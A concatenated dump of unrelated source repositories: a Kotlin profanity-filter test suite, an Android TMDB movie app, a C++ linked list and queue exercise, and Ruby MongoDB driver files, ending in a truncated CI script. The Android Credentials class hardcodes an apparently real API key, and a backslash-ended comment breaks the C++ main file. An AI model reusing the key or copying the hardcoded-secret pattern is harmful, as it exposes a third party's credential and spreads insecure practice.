import kotlin.test.Test import kotlin.test.assertEquals class StringCleanerTest { @Test fun basic(){ val swears = swears("love") val dirty = "a story of love " val expected = "a story of " assertEquals(expected, dirty.clean(swears)) } @Test fun wordPart(){ val swears = swears("love") val dirty = "lovestruck" val expected = "lovestruck" assertEquals(expected, dirty.clean(swears)) } @Test fun wordPartEnd(){ val swears = swears("love") val dirty = "dumblove" val expected = "dumblove" assertEquals(expected, dirty.clean(swears)) } @Test fun endNewline(){ val swears = swears("love") val dirty = "a story of love\n" val expected = "a story of\n" assertEquals(expected, dirty.clean(swears)) } @Test fun endPeriod(){ val swears = swears("love") val dirty = "a story of love." val expected = "a story of." assertEquals(expected, dirty.clean(swears)) } @Test fun endPeriodPart(){ val swears = swears("love") val dirty = "a story of dumblove." val expected = "a story of dumblove." assertEquals(expected, dirty.clean(swears)) } @Test fun endComma(){ val swears = swears("love") val dirty = "a story of love," val expected = "a story of," assertEquals(expected, dirty.clean(swears)) } @Test fun endHTML(){ val swears = swears("love") val dirty = "a story of love<" val expected = "a story of<" assertEquals(expected, dirty.clean(swears)) } @Test fun startString(){ val swears = swears("love") val dirty = "love stars" val expected = " stars" assertEquals(expected, dirty.clean(swears)) } @Test fun endString(){ val swears = swears("love") val dirty = "starry love" val expected = "starry" assertEquals(expected, dirty.clean(swears)) } @Test fun startNewline(){ val swears = swears("love") val dirty = "a story of love\n a story of hate" val expected = "a story of\n a story of hate" assertEquals(expected, dirty.clean(swears)) } @Test fun startHTML(){ val swears = swears("love") val dirty = ">love in the moonlight" val expected = "> in the moonlight" assertEquals(expected, dirty.clean(swears)) } @Test fun capitalization(){ val swears = swears("love") val dirty = "a lOve story" val expected = "a story" assertEquals(expected, dirty.clean(swears)) } @Test fun variants(){ val swears = swears("love") val dirty = "a loveed loves loveing story" val expected = "a story" assertEquals(expected, dirty.clean(swears)) } private fun swears(vararg swear: String): List<Regex>{ return swear.joinToString("\n").encode().parseSwears() } }<file_sep>/src/main/kotlin/Encoder.kt import java.io.File import java.util.* private const val encode = true private const val base = "./src/main/resources/profanity-base.txt" const val swearsFile = "./src/main/resources/profanity.txt" fun main(){ if (encode) encodeProfanity() else decodeProfanity() } private fun encodeProfanity(){ val text = File(base).readText() File(swearsFile).writeText(text.encode()) } private fun decodeProfanity(){ val text = File(swearsFile).readText() File(base).writeText(text.decode()) } fun String.encode(): String { return Base64.getEncoder().encodeToString(this.toByteArray()) } fun String.decode(): String { return String(Base64.getDecoder().decode(this)) }<file_sep>/readme.md # Profanity Filter ## TODO - Use coroutines per book or per chapter - Get a real list of words - make the output be relative to the root path<file_sep>/settings.gradle.kts rootProject.name = "profanity-filter"
9291a11cfe28434f131dc9f90c747d098dfa1fe7
[ "Markdown", "Kotlin" ]
5
Kotlin
ManApart/profanity-filter
c66e92663a722edcf38ed47fd2aab80818c3a2db
b8451c6b78eecbfac9fc743363b9068818b71eac
refs/heads/master
<repo_name>kallisaikiran/APIProject<file_sep>/app/src/main/java/com/apiprojects/tmdbapp/Fragments/HomeFragment.java package com.apiprojects.tmdbapp.Fragments; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import retrofit2.Call; import retrofit2.Callback; import com.apiprojects.tmdbapp.Credentials; import com.apiprojects.tmdbapp.R; import com.apiprojects.tmdbapp.RetrofitModel.MovieApi; import com.apiprojects.tmdbapp.RetrofitModel.MovieModel; import com.apiprojects.tmdbapp.RetrofitModel.MovieSearchResponse; import com.apiprojects.tmdbapp.ReyclerView.MovieAdapter; import com.apiprojects.tmdbapp.ServiceGenerator; import java.util.ArrayList; import java.util.List; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import retrofit2.Response; public class HomeFragment extends Fragment { private RecyclerView recyclerView; MovieAdapter movieAdapter; public static HomeFragment homeFragment() { HomeFragment fragment = new HomeFragment(); return fragment; } Button test; @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View view = inflater.inflate(R.layout.fragment_home, container, false); recyclerView=view.findViewById(R.id.movie_list); recyclerView.setLayoutManager(new LinearLayoutManager(getActivity())); movieAdapter=new MovieAdapter(); recyclerView.setAdapter(movieAdapter); getPopularMovies(); return view; } private void getPopularMovies(){ MovieApi movieApi= ServiceGenerator.getMovieApi(); Call<MovieSearchResponse> responseCall=movieApi.getPopularMovies(Credentials.Api_Key,"en-US",1); responseCall.enqueue(new Callback<MovieSearchResponse>() { @Override public void onResponse(Call<MovieSearchResponse> call, Response<MovieSearchResponse> response) { if(response.code()==200){ List<MovieModel> movies=new ArrayList<>(response.body().getMovies()); for(MovieModel movie:movies){ Log.v("Tag",movie.getTitle()); } movieAdapter.updateData(movies); } } @Override public void onFailure(Call<MovieSearchResponse> call, Throwable t) { } }); } private void getRetrofitResponseThroughId(){ MovieApi movieApi=ServiceGenerator.getMovieApi(); Call<MovieModel> responseCall=movieApi.getMovie(550,Credentials.Api_Key); responseCall.enqueue(new Callback<MovieModel>() { @Override public void onResponse(Call<MovieModel> call, Response<MovieModel> response) { if(response.code()==200){ MovieModel movie=response.body(); Log.v("KruthikTag",movie.getTitle()); } } @Override public void onFailure(Call<MovieModel> call, Throwable t) { } }); } } <file_sep>/app/src/main/java/com/apiprojects/tmdbapp/RetrofitModel/Movie_Response.java package com.apiprojects.tmdbapp.RetrofitModel; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class Movie_Response { @SerializedName("results") @Expose private MovieModel movieModel ; public MovieModel getMovieModel() { return movieModel; } @Override public String toString() { return "Movie_Response{" + "movieModel=" + movieModel + '}'; } } <file_sep>/app/src/main/java/com/apiprojects/tmdbapp/Credentials.java package com.apiprojects.tmdbapp; public class Credentials { public static final String Base_Url="https://api.themoviedb.org/"; public static final String Api_Key="0b5014bca2d395d4d7fda9f951987cae"; } <file_sep>/app/src/main/java/com/apiprojects/tmdbapp/Fragments/LatestMoviesFragment.java package com.apiprojects.tmdbapp.Fragments; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.apiprojects.tmdbapp.Credentials; import com.apiprojects.tmdbapp.R; import com.apiprojects.tmdbapp.RetrofitModel.MovieApi; import com.apiprojects.tmdbapp.RetrofitModel.MovieModel; import com.apiprojects.tmdbapp.RetrofitModel.MovieSearchResponse; import com.apiprojects.tmdbapp.ReyclerView.MovieAdapter; import com.apiprojects.tmdbapp.ServiceGenerator; import java.util.ArrayList; import java.util.List; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class LatestMoviesFragment extends Fragment { private RecyclerView recyclerView; MovieAdapter movieAdapter; public static LatestMoviesFragment latestMoviesFragment() { LatestMoviesFragment fragment = new LatestMoviesFragment(); return fragment; } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_home, container, false); recyclerView=view.findViewById(R.id.movie_list); recyclerView.setLayoutManager(new LinearLayoutManager(getActivity())); movieAdapter=new MovieAdapter(); recyclerView.setAdapter(movieAdapter); getlatestMovies(); return view; } private void getlatestMovies() { MovieApi movieApi = ServiceGenerator.getMovieApi(); Call<MovieSearchResponse> responseCall = movieApi.getNowPlaying(Credentials.Api_Key, "en-US", 1); responseCall.enqueue(new Callback<MovieSearchResponse>() { @Override public void onResponse(Call<MovieSearchResponse> call, Response<MovieSearchResponse> response) { if (response.code() == 200) { List<MovieModel> movies = new ArrayList<>(response.body().getMovies()); for (MovieModel movie : movies) { Log.v("Tag", movie.getTitle()); } movieAdapter.updateData(movies); } } @Override public void onFailure(Call<MovieSearchResponse> call, Throwable t) { } }); } } <file_sep>/app/src/main/java/com/apiprojects/tmdbapp/RetrofitModel/MovieApi.java package com.apiprojects.tmdbapp.RetrofitModel; import retrofit2.Call; import retrofit2.Callback; import retrofit2.http.GET; import retrofit2.http.Path; import retrofit2.http.Query; public interface MovieApi { //https://image.tmdb.org/t/p/original/3/movie/{now_playing} @GET("/3/search/movie") Call<MovieSearchResponse> searchMovie( @Query("api_key") String key, @Query("query") String query , @Query("page") int page); @GET("3/movie/{movie_id}") Call<MovieModel> getMovie(@Path("movie_id") int movie_id, @Query("api_key") String api_key); @GET("/3/movie/popular") Call<MovieSearchResponse> getPopularMovies(@Query("api_key") String key, @Query("language") String language , @Query("page") int page); @GET("/3/movie/now_playing") Call<MovieSearchResponse> getNowPlaying(@Query("api_key") String key, @Query("language") String language , @Query("page") int page); @GET("/3/movie/upcoming") Call<MovieSearchResponse> getUpcomingMovies(@Query("api_key") String key, @Query("language") String language , @Query("page") int page); } <file_sep>/app/src/main/java/com/apiprojects/tmdbapp/Fragments/UpcomingFragment.java package com.apiprojects.tmdbapp.Fragments; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.apiprojects.tmdbapp.Credentials; import com.apiprojects.tmdbapp.R; import com.apiprojects.tmdbapp.RetrofitModel.MovieApi; import com.apiprojects.tmdbapp.RetrofitModel.MovieModel; import com.apiprojects.tmdbapp.RetrofitModel.MovieSearchResponse; import com.apiprojects.tmdbapp.ReyclerView.MovieAdapter; import com.apiprojects.tmdbapp.ServiceGenerator; import java.util.ArrayList; import java.util.List; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class UpcomingFragment extends Fragment { private RecyclerView recyclerView; MovieAdapter movieAdapter; public static UpcomingFragment upcomingFragment() { UpcomingFragment fragment = new UpcomingFragment(); return fragment; } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_home, container, false); recyclerView=view.findViewById(R.id.movie_list); recyclerView.setLayoutManager(new LinearLayoutManager(getActivity())); movieAdapter=new MovieAdapter(); recyclerView.setAdapter(movieAdapter); getUpcomingMovies(); return view; } private void getUpcomingMovies() { MovieApi movieApi = ServiceGenerator.getMovieApi(); Call<MovieSearchResponse> responseCall = movieApi.getUpcomingMovies(Credentials.Api_Key, "en-US", 1); responseCall.enqueue(new Callback<MovieSearchResponse>() { @Override public void onResponse(Call<MovieSearchResponse> call, Response<MovieSearchResponse> response) { if (response.code() == 200) { List<MovieModel> movies = new ArrayList<>(response.body().getMovies()); for (MovieModel movie : movies) { Log.v("Tag", movie.getTitle()); } movieAdapter.updateData(movies); } } @Override public void onFailure(Call<MovieSearchResponse> call, Throwable t) { } }); } }
3cacaf09ec3bddc3bbb04961306d457f92db821b
[ "Java" ]
6
Java
kallisaikiran/APIProject
647d867e08dc2aaf6b70a2d62902e1e9f7455c0d
170105e6fb5a5e49000ae3d01d38dba65f31957c
refs/heads/main
<repo_name>AhmedSamyYossuf/Data_Structure_LinkedList_Queue<file_sep>/LinkedList and Queue/queueLinkedList.cpp #include "queueLinkedList.h" #include <iostream> using namespace std; QueueLinkedList::QueueLinkedList(){} QueueLinkedList::~QueueLinkedList(){} void QueueLinkedList::enqueue(int x) { appendNode(x); } bool QueueLinkedList::isEmpty() { if(front1 == NULL) { return true; } else { return false; } } int QueueLinkedList::dequeue() { if(isEmpty()) { return -1; } int retVal = front1->data; node *temp = front1; if(front1->next == NULL) { back1 = NULL; front1 = NULL; } else { front1 = front1->next; front1->previous = NULL; } delete temp; return retVal; } <file_sep>/LinkedList and Queue/queue.h #ifndef QUEUE_H_INCLUDED #define QUEUE_H_INCLUDED #define DEFAULT_SIZE 8 class Queue { private: int size1; int front1; int back1; int* values; public: Queue(int size1 = DEFAULT_SIZE); ~Queue(); bool isFull(); bool isEmpty(); void enqueue(int); int dequeue(); }; #endif // QUEUE_H_INCLUDED <file_sep>/LinkedList and Queue/main.cpp #include "LinkedList.h" #include "queue.h" #include "queueLinkedList.h" #include <iostream> #include <stdio.h> using namespace std; int main() { //--to use Linked List--\\ LinkedList list1 = new LinkedList(); list1->appendNode(10); list1->appendNode(20); list1->appendNode(30); list1->displayNodes(); list1->displayNodesReverse(); delete list1; /* //--to use Queue--\\ Queue *qu = new Queue(); qu->enqueue(10); qu->enqueue(20); qu->enqueue(30); qu->enqueue(40); cout <<"data in queue is : "<<endl; cout<<qu->dequeue()<<endl; cout<<qu->dequeue()<<endl; cout<<qu->dequeue()<<endl; cout<<qu->dequeue()<<endl; delete qu; */ /* //--to use Queue Linked List--\\ QueueLinkedList *quLis = new QueueLinkedList(); quLis->enqueue(10); quLis->enqueue(20); quLis->enqueue(30); cout <<"data in queueLinkedList is : "<<endl; cout <<quLis->dequeue()<<endl; cout <<quLis->dequeue()<<endl; cout <<quLis->dequeue()<<endl; delete quLis; */ return 0; } <file_sep>/LinkedList and Queue/queue.cpp #include "queue.h" #include <iostream> using namespace std; Queue::Queue(int size1) { this->size1 = size1; values = new int[size1]; front1 = 0; back1 = 0; } Queue::~Queue() { delete[] values; } bool Queue::isFull() { if( (back1 + 1) % size1 == front1) { return true; } else { return false; } } bool Queue::isEmpty() { if(back1 == front1) { return true; } else { return false; } } void Queue::enqueue(int x) { if(!isFull()) { back1 = (back1 + 1) % size1; values[back1] = x; } } int Queue::dequeue() { if(!isEmpty()) { front1 = (front1 + 1) % size1; return values[front1]; } return 0; } <file_sep>/LinkedList and Queue/queueLinkedList.h #ifndef QUEUELINKEDLIST_H_INCLUDED #define QUEUELINKEDLIST_H_INCLUDED #include "LinkedList.h" class QueueLinkedList : public LinkedList { public: QueueLinkedList(); ~QueueLinkedList(); void enqueue(int); int dequeue(); bool isEmpty(); }; #endif // QUEUELINKEDLIST_H_INCLUDED <file_sep>/LinkedList and Queue/LinkedList.cpp #include "LinkedList.h" #include <iostream> using namespace std; LinkedList::LinkedList() { front1 = NULL; back1 = NULL; } LinkedList::~LinkedList() { destroyList(); } void LinkedList::appendNode(int data) { node *n = new node(); n->data = data ; if(back1 == NULL) { back1 = n; front1 = n; } else { back1->next = n; n->previous = back1; back1 = n; } } void LinkedList::displayNodes() { cout << "Nodes :"<<endl; node* temp = front1; while(temp != NULL) { cout << " " << temp->data<<endl; temp = temp->next; } } void LinkedList::displayNodesReverse() { cout << "Nodes in reverse order :"<<endl; node* temp = back1; while(temp != NULL) { cout << " " << temp->data<<endl; temp = temp->previous; } } void LinkedList::destroyList() { node* temp = back1; while(temp != NULL) { node* temp2 = temp; temp = temp->previous; delete temp2; } back1 = NULL; front1 = NULL; } <file_sep>/LinkedList and Queue/LinkedList.h #ifndef LINKEDLIST_H_INCLUDED #define LINKEDLIST_H_INCLUDED struct node{ int data; node *next; node *previous ; }; class LinkedList { protected: node *front1; node *back1; public: LinkedList(); ~LinkedList(); void appendNode(int); void displayNodes(); void displayNodesReverse(); void destroyList(); }; #endif // LINKEDLIST_H_INCLUDED
907838d2a0fe46f73f42fc0ac7f3cfe37d502ff2
[ "C++" ]
7
C++
AhmedSamyYossuf/Data_Structure_LinkedList_Queue
ad7381dba3e035cf302169242aac7cdc5d19eb6f
2078445447d7896a9b1ce7009bacf70af21e0ef3
refs/heads/master
<file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module CRUD module Operation # Defines common behaviour for running CRUD read operation tests # on a collection. # # @since 2.0.0 class Read # Map of method names to test operation argument names. # # @since 2.0.0 ARGUMENT_MAP = { :sort => 'sort', :skip => 'skip', :batch_size => 'batchSize', :limit => 'limit', :collation => 'collation' } # Map of read preference mode names to their equivalent Ruby-formatted symbols. # # @since 2.4.0 READ_PREFERENCE_MAP = { 'primary' => :primary, 'secondary' => :secondary, 'primaryPreferred' => :primary_preferred, 'secondaryPreferred' => :secondary_preferred, 'nearest' => :nearest } # The operation name. # # @return [ String ] name The operation name. # # @since 2.0.0 attr_reader :name # Instantiate the operation. # # @return [ Hash ] spec The operation spec. # # @since 2.0.0 def initialize(spec) @spec = spec @name = spec['name'] end # Execute the operation. # # @example Execute the operation. # operation.execute # # @param [ Collection ] collection The collection to execute the operation on. # # @return [ Result, Array<Hash> ] The result of executing the operation. # # @since 2.0.0 def execute(collection) send(name.to_sym, collection) end # Whether the operation is expected to have restuls. # # @example Whether the operation is expected to have results. # operation.has_results? # # @return [ true, false ] If the operation is expected to have results. # # @since 2.0.0 def has_results? !(name == 'aggregate' && pipeline.find {|op| op.keys.include?('$out') }) end private def count(collection) options = ARGUMENT_MAP.reduce({}) do |opts, (key, value)| opts.merge!(key => arguments[value]) if arguments[value] opts end collection.count(filter, options) end def aggregate(collection) collection.aggregate(pipeline, options).to_a end def distinct(collection) collection.distinct(field_name, filter, options) end def find(collection) opts = modifiers ? options.merge(modifiers: BSON::Document.new(modifiers)) : options (read_preference ? collection.with(read: read_preference) : collection).find(filter, opts).to_a end def options ARGUMENT_MAP.reduce({}) do |opts, (key, value)| arguments[value] ? opts.merge!(key => arguments[value]) : opts end end def collation arguments['collation'] end def batch_size arguments['batchSize'] end def filter arguments['filter'] end def pipeline arguments['pipeline'] end def modifiers arguments['modifiers'] end def field_name arguments['fieldName'] end def arguments @spec['arguments'] end def read_preference if @spec['read_preference'] && @spec['read_preference']['mode'] { mode: READ_PREFERENCE_MAP[@spec['read_preference']['mode']] } end end end end end end <file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an 'AS IS' BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo class Server class Description class Inspector # Handles inspecting the result of an ismaster command for servers # added to the cluster. # # @since 2.0.0 class DescriptionChanged include Event::Publisher # Instantiate the server added inspection. # # @example Instantiate the inspection. # ServerAdded.new(listeners) # # @param [ Event::Listeners ] event_listeners The event listeners. # # @since 2.0.0 def initialize(event_listeners) @event_listeners = event_listeners end # Run the server added inspection. # # @example Run the inspection. # ServerAdded.run(description, {}) # # @param [ Description ] description The server description. # @param [ Description ] updated The updated description. # # @since 2.0.0 def run(description, updated) unless (description.unknown? && updated.unknown?) || (description == updated) publish(Event::DESCRIPTION_CHANGED, description, updated) end end end end end end end <file_sep># Copyright (C) 2015-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an 'AS IS' BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'mongo/monitoring/event' require 'mongo/monitoring/publishable' require 'mongo/monitoring/command_log_subscriber' require 'mongo/monitoring/sdam_log_subscriber' require 'mongo/monitoring/server_description_changed_log_subscriber' require 'mongo/monitoring/server_closed_log_subscriber' require 'mongo/monitoring/server_opening_log_subscriber' require 'mongo/monitoring/topology_changed_log_subscriber' require 'mongo/monitoring/topology_opening_log_subscriber' module Mongo # The class defines behaviour for the performance monitoring API. # # @since 2.1.0 class Monitoring # The command topic. # # @since 2.1.0 COMMAND = 'Command'.freeze # Server closed topic. # # @since 2.4.0 SERVER_CLOSED = 'ServerClosed'.freeze # Server description changed topic. # # @since 2.4.0 SERVER_DESCRIPTION_CHANGED = 'ServerDescriptionChanged'.freeze # Server opening topic. # # @since 2.4.0 SERVER_OPENING = 'ServerOpening'.freeze # Topology changed topic. # # @since 2.4.0 TOPOLOGY_CHANGED = 'TopologyChanged'.freeze # Topology closed topic. # # @since 2.4.0 TOPOLOGY_CLOSED = 'TopologyClosed'.freeze # Topology opening topic. # # @since 2.4.0 TOPOLOGY_OPENING = 'TopologyOpening'.freeze @@operation_id = 0 @@operation_id_lock = Mutex.new # Used for generating unique operation ids to link events together. # # @example Get the next operation id. # Monitoring.next_operation_id # # @return [ Integer ] The next operation id. # # @since 2.1.0 def self.next_operation_id @@operation_id_lock.synchronize do @@operation_id += 1 end end # Provides behaviour around global subscribers. # # @since 2.1.0 module Global extend self # Subscribe a listener to an event topic. # # @example Subscribe to the topic. # Monitoring::Global.subscribe(QUERY, subscriber) # # @param [ String ] topic The event topic. # @param [ Object ] subscriber The subscriber to handle the event. # # @since 2.1.0 def subscribe(topic, subscriber) subscribers_for(topic).push(subscriber) end # Get all the global subscribers. # # @example Get all the global subscribers. # Monitoring::Global.subscribers # # @return [ Hash<String, Object> ] The subscribers. # # @since 2.1.0 def subscribers @subscribers ||= {} end private def subscribers_for(topic) subscribers[topic] ||= [] end end # Initialize the monitoring. # # @api private # # @example Create the new monitoring. # Monitoring.new(:monitoring => true) # # @param [ Hash ] options The options. # # @since 2.1.0 def initialize(options = {}) if options[:monitoring] != false Global.subscribers.each do |topic, subscribers| subscribers.each do |subscriber| subscribe(topic, subscriber) end end subscribe(COMMAND, CommandLogSubscriber.new(options)) subscribe(SERVER_OPENING, ServerOpeningLogSubscriber.new(options)) subscribe(SERVER_CLOSED, ServerClosedLogSubscriber.new(options)) subscribe(SERVER_DESCRIPTION_CHANGED, ServerDescriptionChangedLogSubscriber.new(options)) subscribe(TOPOLOGY_OPENING, TopologyOpeningLogSubscriber.new(options)) subscribe(TOPOLOGY_CHANGED, TopologyChangedLogSubscriber.new(options)) end end # Publish a started event. # # @example Publish a started event. # monitoring.started(COMMAND, event) # # @param [ String ] topic The event topic. # @param [ Event ] event The event to publish. # # @since 2.1.0 def started(topic, event) subscribers_for(topic).each{ |subscriber| subscriber.started(event) } end # Publish a succeeded event. # # @example Publish a succeeded event. # monitoring.succeeded(COMMAND, event) # # @param [ String ] topic The event topic. # @param [ Event ] event The event to publish. # # @since 2.1.0 def succeeded(topic, event) subscribers_for(topic).each{ |subscriber| subscriber.succeeded(event) } end # Publish a failed event. # # @example Publish a failed event. # monitoring.failed(COMMAND, event) # # @param [ String ] topic The event topic. # @param [ Event ] event The event to publish. # # @since 2.1.0 def failed(topic, event) subscribers_for(topic).each{ |subscriber| subscriber.failed(event) } end # Subscribe a listener to an event topic. # # @example Subscribe to the topic. # monitoring.subscribe(QUERY, subscriber) # # @param [ String ] topic The event topic. # @param [ Object ] subscriber The subscriber to handle the event. # # @since 2.1.0 def subscribe(topic, subscriber) subscribers_for(topic).push(subscriber) end # Get all the subscribers. # # @example Get all the subscribers. # monitoring.subscribers # # @return [ Hash<String, Object> ] The subscribers. # # @since 2.1.0 def subscribers @subscribers ||= {} end # Determine if there are any subscribers for a particular event. # # @example Are there subscribers? # monitoring.subscribers?(COMMAND) # # @param [ String ] topic The event topic. # # @return [ true, false ] If there are subscribers for the topic. # # @since 2.1.0 def subscribers?(topic) !subscribers_for(topic).empty? end private def initialize_copy(original) @subscribers = original.subscribers.dup end def subscribers_for(topic) subscribers[topic] ||= [] end end end <file_sep> # Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module Event # This handles a change in description. # # @since 2.0.6 class DescriptionChanged include Monitoring::Publishable # @return [ Mongo::Cluster ] cluster The cluster. attr_reader :cluster # @return [ Hash ] options The options. attr_reader :options # @return [ Monitoring ] monitoring The monitoring. attr_reader :monitoring # Initialize the new host added event handler. # # @example Create the new handler. # ServerAdded.new(cluster) # # @param [ Mongo::Cluster ] cluster The cluster to publish from. # # @since 2.0.0 def initialize(cluster) @cluster = cluster @options = cluster.options @monitoring = cluster.monitoring end # This event publishes an event to add the cluster and logs the # configuration change. # # @example Handle the event. # server_added.handle('127.0.0.1:27018') # # @param [ Server::Description ] updated The changed description. # # @since 2.0.0 def handle(previous, updated) publish_sdam_event( Monitoring::SERVER_DESCRIPTION_CHANGED, Monitoring::Event::ServerDescriptionChanged.new( updated.address, cluster.topology, previous, updated ) ) cluster.add_hosts(updated) cluster.remove_hosts(updated) end end end end <file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module Operation module Write module Bulk class Update # Defines custom behaviour of results when updating. # # @since 2.0.0 class Result < Operation::Result include Mergable # The number of modified docs field in the result. # # @since 2.0.0 MODIFIED = 'nModified'.freeze # The upserted docs field in the result. # # @since 2.0.0 UPSERTED = 'upserted'.freeze # Gets the number of documents upserted. # # @example Get the upserted count. # result.n_upserted # # @return [ Integer ] The number of documents upserted. # # @since 2.0.0 def n_upserted return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if upsert?(reply) n += reply.documents.first[UPSERTED].size else n end end end # Gets the number of documents matched. # # @example Get the matched count. # result.n_matched # # @return [ Integer ] The number of documents matched. # # @since 2.0.0 def n_matched return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if upsert?(reply) reply.documents.first[N] - n_upserted else if reply.documents.first[N] n += reply.documents.first[N] else n end end end end # Gets the number of documents modified. # Not that in a mixed sharded cluster a call to # update could return nModified (>= 2.6) or not (<= 2.4). # If any call does not return nModified we can't report # a valid final count so set the field to nil. # # @example Get the modified count. # result.n_modified # # @return [ Integer ] The number of documents modified. # # @since 2.0.0 def n_modified return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if n && reply.documents.first[MODIFIED] n += reply.documents.first[MODIFIED] else nil end end end # Get the upserted documents. # # @example Get upserted documents. # result.upserted # # @return [ Array<BSON::Document> ] The upserted document info # # @since 2.1.0 def upserted reply.documents.first[UPSERTED] || [] end private def upsert?(reply) upserted.any? end end # Defines custom behaviour of results when updating. # For server versions < 2.5.5 (that don't use write commands). # # @since 2.0.0 class LegacyResult < Operation::Result include LegacyMergable # The updated existing field in the result. # # @since 2.0.0 UPDATED_EXISTING = 'updatedExisting'.freeze # Gets the number of documents upserted. # # @example Get the upserted count. # result.n_upserted # # @return [ Integer ] The number of documents upserted. # # @since 2.0.0 def n_upserted return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if upsert?(reply) n += reply.documents.first[N] else n end end end # Gets the number of documents matched. # # @example Get the matched count. # result.n_matched # # @return [ Integer ] The number of documents matched. # # @since 2.0.0 def n_matched return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if upsert?(reply) n else n += reply.documents.first[N] end end end # Gets the number of documents modified. # # @example Get the modified count. # result.n_modified # # @return [ Integer ] The number of documents modified. # # @since 2.2.3 def n_modified return 0 unless acknowledged? @replies.reduce(0) do |n, reply| if upsert?(reply) n else updated_existing?(reply) ? n += reply.documents.first[N] : n end end end private def upsert?(reply) reply.documents.first[BulkWrite::Result::UPSERTED] || (!updated_existing?(reply) && reply.documents.first[N] == 1) end def updated_existing?(reply) reply.documents.first[UPDATED_EXISTING] end end end end end end end <file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module Operation # Adds behaviour for updating the selector for operations # that may take a write concern. # # @since 2.4.0 module TakesWriteConcern private def update_selector_for_write_concern(sel, server) if write_concern && server.features.collation_enabled? sel.merge(writeConcern: write_concern.options) else sel end end end end end <file_sep>#!/bin/bash set -o xtrace # Write all commands first to stderr set -o errexit # Exit the script with error if any of the commands fail # Supported/used environment variables: # AUTH Set to enable authentication. Values are: "auth" / "noauth" (default) # SSL Set to enable SSL. Values are "ssl" / "nossl" (default) # MONGODB_URI Set the suggested connection MONGODB_URI (including credentials and topology info) # TOPOLOGY Allows you to modify variables and the MONGODB_URI based on test topology # Supported values: "server", "replica_set", "sharded_cluster" # RVM_RUBY Define the Ruby version to test with, using its RVM identifier. # For example: "ruby-2.3" or "jruby-9.1" # DRIVER_TOOLS Path to driver tools. AUTH=${AUTH:-noauth} SSL=${SSL:-nossl} MONGODB_URI=${MONGODB_URI:-} TOPOLOGY=${TOPOLOGY:-server} DRIVERS_TOOLS=${DRIVERS_TOOLS:-} export CI=true # Necessary for jruby export JAVACMD=/opt/java/jdk8/bin/java if [ "$AUTH" != "noauth" ]; then export ROOT_USER_NAME="bob" export ROOT_USER_PWD="<PASSWORD>" fi export 